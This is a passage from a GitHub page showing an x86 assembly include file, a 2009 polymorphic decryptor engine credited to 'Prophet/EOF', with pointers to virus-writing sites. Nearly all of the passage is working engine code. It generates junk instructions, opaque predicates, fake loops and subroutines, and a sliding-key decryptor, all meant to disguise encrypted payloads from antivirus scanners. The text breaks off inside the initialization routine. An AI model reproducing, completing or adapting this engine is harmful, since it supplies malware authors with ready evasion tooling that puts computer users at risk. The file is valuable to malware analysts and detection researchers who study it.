-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy pathVirTool.Win32.Cryptor.PolyCrypto.inc
1807 lines (1411 loc) · 40.1 KB
/
VirTool.Win32.Cryptor.PolyCrypto.inc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
;---------------------------------------------------------------------------------------------------------;
; __ __ ___ __ ___ ;
; / )_ _ / /__)_ / _ _/ (_ / )(_ ;
; /(_/(// /( / / ()/)/)(- / /__(__/ / ;
; / ;
; ;
; __ ;
; /__)_ _ _ _ _/ ;
; / / (-_) (-/)/ ;
; ;
; ;
; _____ ___ ___ ;
; /\ __`\ /'___\ /'___\ __ ;
; \ \ \/\ \ /\ \__/ /\ \__/ __ ___ ____ /\_\ __ __ __ ;
; \ \ \ \ \\ \ ,__\\ \ ,__\ /'__`\ /' _ `\ /',__\\/\ \ /\ \/\ \ /'__`\ ;
; \ \ \_\ \\ \ \_/ \ \ \_//\ __/ /\ \/\ \ /\__, `\\ \ \\ \ \_/ |/\ __/ ;
; \ \_____\\ \_\ \ \_\ \ \____\\ \_\ \_\\/\____/ \ \_\\ \___/ \ \____\ ;
; \/_____/ \/_/ \/_/ \/____/ \/_/\/_/ \/___/ \/_/ \/__/ \/____/ ;
; ;
; ;
; ____ ___ ____ ___ ;
; /\ _`\ /\_ \ /\ _`\ __ /'___`\ ;
; \ \ \L\ \ ___\//\ \ __ __ \ \ \L\_\ ___ __ /\_\ ___ __ /\_\ /\ \ ;
; \ \ ,__// __`\\ \ \ /\ \/\ \ \ \ _\L /' _ `\ /'_ `\\/\ \ /' _ `\ /'__`\ \/_/// /__ ;
; \ \ \//\ \L\ \\_\ \_\ \ \_\ \ \ \ \L\ \/\ \/\ \ /\ \L\ \\ \ \ /\ \/\ \ /\ __/ // /_\ \ ;
; \ \_\\ \____//\____\\/`____ \ \ \____/\ \_\ \_\\ \____ \\ \_\\ \_\ \_\\ \____\ /\______/ ;
; \/_/ \/___/ \/____/ `/___/> \ \/___/ \/_/\/_/ \/___L\ \\/_/ \/_/\/_/ \/____/ \/_____/ ;
; /\___/ /\____/ ;
; \/__/ \_/__/ ;
; ;
; ;
; ;
;v0.8 (beta) public version ;
;---------------------------------------------------------------------------------------------------------;
; Ring3/0 Polymorphic Decryptor Creator
;
; Features
;
;Generates:
;
;Memory Read/Write
;Loops , Predicates
;Subroutines
;
;Realistic Garbage
;Position Independent
;Sliding Key
;
;This is not final version. Many improvements are planned. (Apis , PRIDE , SSE/FPU instructions)
;Watch eof-project.net or vx.netlux.org for new releases
;
;Prophet/EOF(24.8.2009)
;
poly_vars struct
; VARIABLES INITIALIZED BEFORE POLY CALL
poly_ptr_code_base_va dd ? ; virtual-address of encrypted code
poly_ptr_code_base_raw dd ? ; raw-address of encrypted code
poly_ptr_decrypt_buf_va dd ? ; Va of buffer where code will be decrypted (0 if dont move code)
poly_code_size dd ? ; size of code to crypt
poly_code_entry_offset dd ? ; ep offset relative to code_base_va
poly_decryptor_base dd ? ; ptr to buffer where decrytor will be created
poly_decryptor_base_va dd ? ; virtual-address of decryptor base
poly_decryptor_size dd ? ; size of created decryptor
poly_options dd ? ; poly options
poly_garbage_level dd ? ; level of garbage (1-lowest 3-average 5-huge)
poly_read_mem_base dd ? ; va address of readable memory
poly_read_mem_size dd ? ; size of readable memory
; VARIABLES USED DURING POLY ENGINE RUN
poly_algo1 dd ? ; crypt algorythm
poly_algo2 dd ? ; key-sliding algorythm
poly_key dd ? ; encrypt key
poly_slide_key dd ? ; slide key
poly_ptr_reg dd ? ; register used as ptr to memory
poly_key_reg dd ? ; register which is keeping decrypt key
poly_loop_reg dd ? ; loop counter
poly_store_reg dd ? ; used in move-data loop
poly_junk_mem_reg dd ? ; junk mem accesses ptr reg
poly_junk_mem_pos dd ? ; value to which reg was initialized
poly_reg_usage dd ? ; watch register usage
poly_random_seed dd ? ; random seed
poly_garbler_flags dd ? ; keep garbler state
poly_entry_offset dd ? ; offset of poly entry-point relative to poly base
poly_subroutines_count dd ? ; number of poly subs generated
poly_subroutines_table db 1024 DUP(0)
poly_vars ends
;
; Poly Options Flags
;
POLY_OPT_POS_INDEPENDENT equ 1 ; use/dont use delta offset in decryptor
POLY_OPT_STACK_WRITES equ 2 ; (not implemented)
POLY_OPT_MEM_WRITES equ 4 ; ( buggy )
POLY_OPT_USE_SUBROUTINES equ 8 ; generate junk subroutines
POLY_OPT_MEM_ACC_DIRECT equ 16 ; do direct mem accesses (dont use if pe is reloc-able)
POLY_OPT_MINIMAL_GARBAGE equ 32 ; generate minimal amount of garbage
;
; Poly configuration
;
; POLY_DEBUG equ 1 ; poly-debugging regime (comment out to disable)
; POLY_DISABLE_GARBAGE equ 1 ; disable garbage generator (comment out to enable)
POLY_SUBROUTINES_MAX equ 5 ; max count of poly subroutines
POLY_SUBR_PARAMS_MAX equ 6 ; max count of sub arguments
; POLY_ALIGN_SUBR equ 1 ; align subroutines to 0fh (comment out to disable)
POLY_ALIGN_BYTE equ 0cch ; alignment byte
POLY_ESP_ACC_RNG_MAX equ 10 ; max stack access displacement [esp +- random(max) * 4]
POLY_LOOP_ITERATION_MAX equ 10000h ; max loop iterations
POLY_LOOP_ITERATION_MIN equ 1000h ; min loop iterations
;
; Occurence of garbage
;
POLY_OCCUR_LOOP equ 2
POLY_OCCUR_PREDICATE equ 5
POLY_OCCUR_PUSH_POP equ 7
POLY_OCCUR_CALL equ 2
POLY_OCCUR_API equ 0 ; not implemented
POLY_OCCUR_IMM equ 5
POLY_OCCUR_MODRM equ 12
POLY_OCCUR_COUNT equ ( POLY_OCCUR_LOOP + POLY_OCCUR_PREDICATE + POLY_OCCUR_PUSH_POP + POLY_OCCUR_CALL + POLY_OCCUR_API + POLY_OCCUR_IMM + POLY_OCCUR_MODRM )
POLY_MODRM_OCCUR_REG_REG equ 0
POLY_MODRM_OCCUR_MEM equ 0
POLY_MODRM_OCCUR_STACK equ 0
;
; Garbler state flags
;
POLY_FLAG_IN_LOOP equ 1 ; in loop
POLY_FLAG_IN_SUBR equ 2 ; in subroutine
POLY_FLAG_IN_PRED equ 4 ; in predicate
assume ebp:ptr poly_vars
.code
PolyEngineEntry: jmp PolyEngine
PolyGarbleInit: pushad
; check if subroutines flag is set
mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_USE_SUBROUTINES
test eax,eax
jz Garble_Init_No_Sub
; create junk subroutines
mov eax,POLY_SUBROUTINES_MAX
call random
test eax,eax
jz PolyGarbleInitEnd
mov ecx,eax
Garble_Init_Loop1: call Garble_Create_funct
loop Garble_Init_Loop1
Garble_Init_No_Sub: mov dword ptr [esp],edi
PolyGarbleInitEnd: popad
retn
;
; Garbage creator for use in poly engine
;
; ESP,EBP must be set as used before calling PolyGarbler
; ebp = ptr to poly struct
; edi = buffer
PolyGarble:
ifndef POLY_DISABLE_GARBAGE
pushad
mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_MINIMAL_GARBAGE
test eax,eax
jz PolyGarbleNormal
mov ecx,1
jmp PolyGarbleCont1
PolyGarbleNormal: mov ecx,dword ptr [ebp].poly_garbage_level ; deepness of recursivity
imul ecx,3
PolyGarbleCont1: call Garble
mov dword ptr [esp],edi
popad
endif ;POLY_DISABLE_GARBAGE
retn
;
; Recursive Garbler
;
Garble:
mov eax,POLY_OCCUR_COUNT
call random
cmp eax,POLY_OCCUR_PUSH_POP
jb G_Push_Pop
sub eax,POLY_OCCUR_PUSH_POP
cmp eax,POLY_OCCUR_PREDICATE
jb G_Predicate
sub eax,POLY_OCCUR_PREDICATE
cmp eax,POLY_OCCUR_LOOP
jb G_Loop
sub eax,POLY_OCCUR_LOOP
cmp eax,POLY_OCCUR_CALL
jb G_Call
sub eax,POLY_OCCUR_CALL
; cmp eax,POLY_OCCUR_MODRM
cmp eax,POLY_OCCUR_IMM
jb G_Imm
sub eax,POLY_OCCUR_IMM
; cmp eax,POLY_OCCUR_API
call Garble_Create_Modrm
jmp Garble_cont
; loop
G_Loop: call Garble_Loop
jmp Garble_cont
; opaque predicate
G_Predicate: call Garble_Predicate
jmp Garble_cont
; push pop
G_Push_Pop: call Garble_Push_Pop
jmp Garble_cont
G_Modrm: jmp Garble_cont
; immediate
G_Imm: call Garble_Create_Imm
jmp Garble_cont
; call to junk proc
G_Call: call Garble_Sub_Call
Garble_cont: test ecx,ecx
jz GarbleEnd
dec ecx
call Garble
GarbleEnd: retn
;
; Create Opaque predicate
;
Garble_Predicate: cmp ecx,4
jbe Garble_Predict_End
cmp ecx,10
ja Garble_Predict_End ; just temporal solution to short-near problem
call Is_In_Pred
test eax,eax
jnz Garble_Predict_End
mov eax,8
call random
test eax,eax
jnz Garble_Predict_Jcc
; JMP
mov eax,0ebh
stosb
push edi
jmp Garble_Predict_C
Garble_Predict_Jcc: call Garble_Create_Cmp
mov eax,10h
call random
add eax,70h
stosb
push edi
inc edi
Garble_Predict_C: call Set_In_Pred
dec ecx
call Garble ; recursive call
pop ebx
call Set_In_Pred
mov eax,edi
sub eax,ebx
dec eax
mov byte ptr [ebx],al
Garble_Predict_End: retn
;
; Create push/pop
;
Garble_Push_Pop: cmp ecx,2
jbe Garble_Push_Pop_End
call Garble_Create_Push
dec ecx
call Garble ; recursive call
call get_free_reg_32_no_set
cmp eax,-1
jne Garble_Push_Pop_c
mov eax,0004c483h ; no free reg , create add esp,4
stosd
dec edi
jmp Garble_Push_Pop_End
Garble_Push_Pop_c: add al,58h ; pop free reg
stosb
Garble_Push_Pop_End: retn
;
; Generate Loop
;
Garble_Loop: call Is_In_Loop
test eax,eax
jnz Garble_Loop_End
cmp ecx,5
jbe Garble_Loop_End
call get_free_reg_32
cmp eax,-1
je Garble_Loop_End
call Set_In_Loop ; set that we are in loop
mov ebx,eax
mov eax,POLY_LOOP_ITERATION_MAX ; max number of loop iterations
call random
add eax,POLY_LOOP_ITERATION_MIN ; minimal iterations count
push ecx
mov ecx,eax
; initialize loop counter register
call Asm_Mov_Reg_Imm_32
pop ecx
; save loop start
push edi
; save counter register
push ebx
dec ecx
call Garble
pop eax
mov ebx,eax
call unset_reg_32
; dec loop counter
mov al,48h
add al,bl
stosb
; test counter reg
mov al,085h
stosb
mov eax,ebx
rol eax,3
add eax,ebx
add eax,0c0h
stosb
; jcc loop
pop eax
sub eax,edi
push eax
not eax
cmp eax,255 / 2
pop eax
jbe Garble_Loop_Short
; near jcc
sub eax,6
mov word ptr [edi],0850fh
mov dword ptr [edi + 2],eax
add edi,6
jmp Garble_Loop_Cont
; short jcc
Garble_Loop_Short: sub eax,2
mov byte ptr [edi],75h ; jnz
mov byte ptr [edi + 1],al
add edi,2
Garble_Loop_Cont: call Set_In_Loop ; unset in-loop garbler state
Garble_Loop_End: retn
;
; Generate call to poly subroutine
;
Garble_Sub_Call: push ecx
push ebx
cmp dword ptr [ebp].poly_subroutines_count,0
je Garble_Sub_Call_End
call Is_In_Subr ; dont make subroutine call inside subroutine
test eax,eax
jnz Garble_Sub_Call_End
; pick random subroutine from table
mov eax,dword ptr [ebp].poly_subroutines_count
call random
lea eax,[eax * 8]
lea ebx,[ebp].poly_subroutines_table
add ebx,eax
; if junk mem ptr is initialized store it before subroutine call
cmp dword ptr [ebp].poly_junk_mem_pos,0
je Garble_Sub_No_Save1
mov ecx,dword ptr [ebp].poly_junk_mem_reg
add ecx,50h
mov byte ptr [edi],cl ; push ptr reg
inc edi
Garble_Sub_No_Save1: mov ecx,dword ptr [ebx + 4] ; number of arguments
test ecx,ecx
jz Garble_Sub_No_Arg
; create fake argument passing
Garble_Sub_Arg: call Garble_Create_Push
loop Garble_Sub_Arg
; create call to function
Garble_Sub_No_Arg: mov eax,dword ptr [ebx]
sub eax,edi
sub eax,5
mov byte ptr [edi],0e8h
inc edi
stosd
; clean stack from arguments (__cdecl)
mov eax,dword ptr [ebx + 4] ; number of function arguments
test eax,eax
jz Garble_Sub_No_Save2
imul eax,4
rol eax,16
add eax,9000c483h
stosd
dec edi
; if junk mem ptr is initialized store it before subroutine call
Garble_Sub_No_Save2: cmp dword ptr [ebp].poly_junk_mem_pos,0
je Garble_Sub_Call_End
mov eax,dword ptr [ebp].poly_junk_mem_reg
add eax,58h
stosb ; pop ptr reg
Garble_Sub_Call_End: pop ebx
pop ecx
retn
;
; Generate Modrm Byte
;
Garble_Create_Modrm_Byte:
push ebx
call get_free_reg_32_no_set
cmp eax,-1
je Modrm_reg1_reg1 ; no free reg
rol eax,3
mov ebx,eax
mov eax,5
call random
test eax,eax
jz Modrm_Reg_Reg
cmp eax,3
jb Modrm_Stack_Read
;
; Mem Access
Modrm_Mem_Acc: mov eax,3 ; 1:2 to do direct mem32 access
call random
test eax,eax
jz Modrm_Mem_Direct
cmp dword ptr [ebp].poly_junk_mem_pos,0
je Modrm_Mem_Direct ; junk mem ptr wasnt initialized , do direct mem32 acc anyway
Modrm_Mem_AccNoDisp: mov eax,dword ptr [ebp].poly_junk_mem_reg
add eax,ebx
stosb
mov eax,dword ptr [ebp].poly_read_mem_size
sub eax,4
call random
add eax,dword ptr [ebp].poly_read_mem_base
mov ebx,eax
sub ebx,dword ptr [ebp].poly_junk_mem_pos
mov eax,6
call random
cmp eax,0
je Modrm_Mem_Disp32
cmp eax,4
jb Modrm_Mem_Disp8
pop ebx
retn
Modrm_Mem_Disp8: add byte ptr [edi - 1],40h
mov byte ptr [edi],bl
inc edi
pop ebx
retn
Modrm_Mem_Disp32: add byte ptr [edi - 1],80h
mov dword ptr [edi],ebx
add edi,4
pop ebx
retn
;
; Direct memory access (mov reg,[mem32])
; only if poly is position independent
Modrm_Mem_Direct: mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_MEM_ACC_DIRECT
test eax,eax
jnz Modrm_Stack_Read
cmp dword ptr [ebp].poly_read_mem_base,0
je Modrm_Stack_Read
mov eax,5
add eax,ebx
stosb
mov eax,dword ptr [ebp].poly_read_mem_size
call random
add eax,dword ptr [ebp].poly_read_mem_base
stosd
jmp Modrm_End
;
; Stack Access ( reg,[esp/ebp +- x] )
Modrm_Stack_Read: mov eax,ebx
add eax,45h
mov byte ptr [edi],al
mov eax,2
call random
test eax,eax
jz Modrm_Stack_Ebp
mov byte ptr [edi + 1],24h
sub byte ptr [edi],1
inc edi
Modrm_Stack_Ebp: inc edi
mov eax,POLY_ESP_ACC_RNG_MAX
call random
imul eax,4
mov ebx,eax
mov eax,2 ; +/- disp
call random
test eax,eax
jz Modrm_Stack_DispPos
xor eax,eax
sub eax,ebx
Modrm_Stack_DispPos: mov byte ptr [edi],al
inc edi
jmp Modrm_End
Modrm_Reg_Reg: call get_reg_32_no_stack
add eax,ebx ; free reg
add eax,0c0h
stosb
jmp Modrm_End
; in case when no reg is free to use
Modrm_reg1_reg1: call get_reg_32 ; mov eax/eax
mov ah,al
rol al,3
add al,ah
add al,0c0h
stosb
Modrm_End: pop ebx
retn
;
; Generate CMP/TEST
;
Garble_Create_Cmp: mov eax,4
cmp eax,0
je Garble_Cmp_Imm
cmp eax,1
je Garble_Cmp_Test
Garble_Cmp_Cmp: mov eax,2
call random
add eax,38h
stosb
call Garble_Create_Modrm_Byte
retn
Garble_Cmp_Test: mov eax,2
call random
add eax,84h
stosb
call Garble_Create_Modrm_Byte
retn
Garble_Cmp_Imm: push ebx
push ecx
mov eax,3
call random
mov ebx,eax
add eax,81h
stosb
mov ecx,edi
call Garble_Create_Modrm_Byte
and byte ptr [ecx],11000111b
add byte ptr [ecx],7 SHL 3
mov eax,-1
call random
test ebx,ebx
jnz Garble_Cmp_Imm8
stosd
jmp Garble_Cmp_ImmC
Garble_Cmp_Imm8: stosb
Garble_Cmp_ImmC: pop ecx
pop ebx
retn
;
; Generate Push
;
Garble_Create_Push: mov eax,5
call random
cmp eax,2
jbe Garble_Push_Reg32
cmp eax,3
je Garble_Push_Modrm
Garble_Push_Imm: mov eax,2
call random
push ebx
mov ebx,eax
rol eax,1
add eax,68h
stosb
mov eax,-1
call random
test ebx,ebx
pop ebx
jnz Garble_Push_Imm8
;imm32
stosd
retn
Garble_Push_Imm8: stosb
retn
Garble_Push_Reg32: call get_reg_32
add al,50h
stosb
retn
Garble_Push_Modrm: mov al,0ffh
stosb
push edi
call Garble_Create_Modrm_Byte
pop eax
and byte ptr [eax],11000111b
add byte ptr [eax],6 SHL 3
retn
;
; Generate Modrm instruction
;
;00 ADD
;08 OR
;20 AND
;28 SUB
;30 XOR
;88 MOV
Garble_Create_Modrm: ; 66h prefix ?
mov eax,7
call random
test eax,eax
jnz Garble_Modrm_No_66
mov byte ptr [edi],66h ; WORD PTR
inc edi
Garble_Modrm_No_66: call is_any_free_32 ; do we have any free reg ?
test eax,eax
jz Garble_ModrmNo_Regs
push 08202828h
push 30300000h
push 88888888h
mov ebx,esp
mov eax,12
call random
mov al,byte ptr [ebx + eax]
add al,3
mov ebx,edi
stosb
add esp,12
jmp @f
; create mov reg1,reg1 as no regs are free
Garble_ModrmNo_Regs: mov eax,89h
stosb
@@: call Garble_Create_Modrm_Byte
; test if mem writes are allowed
mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_MEM_WRITES
test eax,eax
jz Garble_Modrm_Read
mov eax,2
call random
test eax,eax
jnz Garble_Modrm_Read
cmp byte ptr [ebx],8dh ; lea
je Garble_Modrm_Read
mov al,byte ptr [ebx + 1]
and al,11000000b
cmp al,0c0h ; mod reg/reg ?
je Garble_Modrm_Read
mov al,byte ptr [ebx + 1]
and al,111b
cmp al,100b ; sib
je Garble_Modrm_Read
cmp al,101b
jne Garble_Modrm_Write
mov al,byte ptr [ebx + 1]
and al,11000000b
test al,al
jnz Garble_Modrm_Read
; do mem write now
Garble_Modrm_Write: xor byte ptr [ebx],2h
Garble_Modrm_Read: pop ebx
retn
;
; Generate imm instruction
;
Garble_Create_Imm: push ebx
call get_free_reg_32_no_set
mov ebx,eax
cmp eax,-1
je Garble_Create_Imm_E
mov eax,5
call random
test eax,eax
jz Garble_Imm_Init_Ptr
cmp eax,1
jbe Garble_Imm_Inc_Dec
mov eax,0b8h
add eax,ebx
stosb
mov eax,-1
call random
stosd
pop ebx
retn
; c1 group
; 81 83 group
Garble_Imm_Groups: mov eax,4
call random
push 818383c1h
mov al,byte ptr [esp + eax]
add esp,4
stosb
call Garble_Create_Modrm_Byte
pop ebx
retn
; inc/dec reg
Garble_Imm_Inc_Dec: mov eax,2
call random
imul eax,8
add eax,40h
add eax,ebx
stosb
pop ebx
retn
;
; Initialize pointer
Garble_Imm_Init_Ptr: push ecx
call Is_In_Pred ; dont setup ptr in predicate
test eax,eax
jnz Garble_Create_ImmE1
call Is_In_Loop
test eax,eax
jnz Garble_Create_ImmE1 ; dont setup ptr in loop
cmp dword ptr [ebp].poly_read_mem_base,0
je Garble_Create_ImmE1
mov eax,dword ptr [ebp].poly_read_mem_size
cmp eax,10
jb Garble_Create_ImmE1
sub eax,4
call random
add eax,dword ptr [ebp].poly_read_mem_base
mov ecx,eax
cmp dword ptr [ebp].poly_junk_mem_pos,0
je Garble_Imm_No_Unset ; reg wasnt set , no need to unset
mov eax,dword ptr [ebp].poly_junk_mem_reg
call unset_reg_32 ; release old ptr register
Garble_Imm_No_Unset: mov dword ptr [ebp].poly_junk_mem_reg,ebx
mov dword ptr [ebp].poly_junk_mem_pos,ecx
push eax
mov eax,dword ptr [ebp].poly_options
and eax,POLY_OPT_MEM_ACC_DIRECT
test eax,eax
pop eax
jz Grable_Imm_indir
call Asm_Mov_Reg_Imm_32 ; FIX HERE call Asm_Init_Ptr
jmp @f
Grable_Imm_indir: call Asm_Init_Ptr
@@: mov eax,ebx
call set_reg_32
Garble_Create_ImmE1: pop ecx
Garble_Create_Imm_E: pop ebx
retn
;
; Create Junk Function
;
Garble_Create_funct:
push ebx
push ecx
mov eax,dword ptr [ebp].poly_subroutines_count
imul eax,8
lea ebx,[ebp].poly_subroutines_table
add ebx,eax
mov dword ptr [ebx],edi ; store subroutine entry to table
mov eax,POLY_SUBR_PARAMS_MAX
call random
mov dword ptr [ebx + 4],eax ; number of sub params
inc dword ptr [ebp].poly_subroutines_count
; init stack frame
mov byte ptr [edi],55h ; push ebp
mov word ptr [edi + 1],0ec8bh ; mov ebp,esp
add edi,3
mov eax,dword ptr [ebp].poly_garbage_level
imul eax,2
call random
inc eax
mov ecx,eax
call Set_In_Subr ; set in subroutine flag
mov ebx,dword ptr [ebp].poly_reg_usage ; store reg usage
Create_Funct_Loop: call PolyGarble
loop Create_Funct_Loop
call Set_In_Subr
mov dword ptr [ebp].poly_reg_usage,ebx ; restore reg usage
mov byte ptr [edi],5dh ; pop ebp
mov byte ptr [edi + 1],0c3h ; retn
add edi,2
ifdef POLY_ALIGN_SUBR
; now do the compiler-like 16 align
xor ecx,ecx
sub ecx,edi
and ecx,0fh
mov al,POLY_ALIGN_BYTE
test ecx,ecx
jz Create_align_End
rep stosb
endif ; POLY_ALIGN_SUBR ;
Create_align_End: xor eax,eax
mov dword ptr [ebp].poly_junk_mem_reg,eax ; clear initialized junk mem ptr
mov dword ptr [ebp].poly_junk_mem_pos,eax
pop ecx
pop ebx
retn
;
; Standalone Garbage Creator
;
; for external use
; eax = ptr poly_vars
; ecx = amount of garbage
PolyCreateGarbage: pushad
mov ebp,eax
call PolyInit
call PolyGarbleInit
mov edi,dword ptr [ebp].poly_decryptor_base
mov eax,edi
test ecx,ecx
jz @end
@@: call PolyGarble ; Internal poly garbler
loop @b
sub edi,eax
mov dword ptr [ebp].poly_decryptor_size,edi
mov dword ptr [esp + 1ch],edi ;save size to eax
@end: popad
retn
;
; Poly initialization routine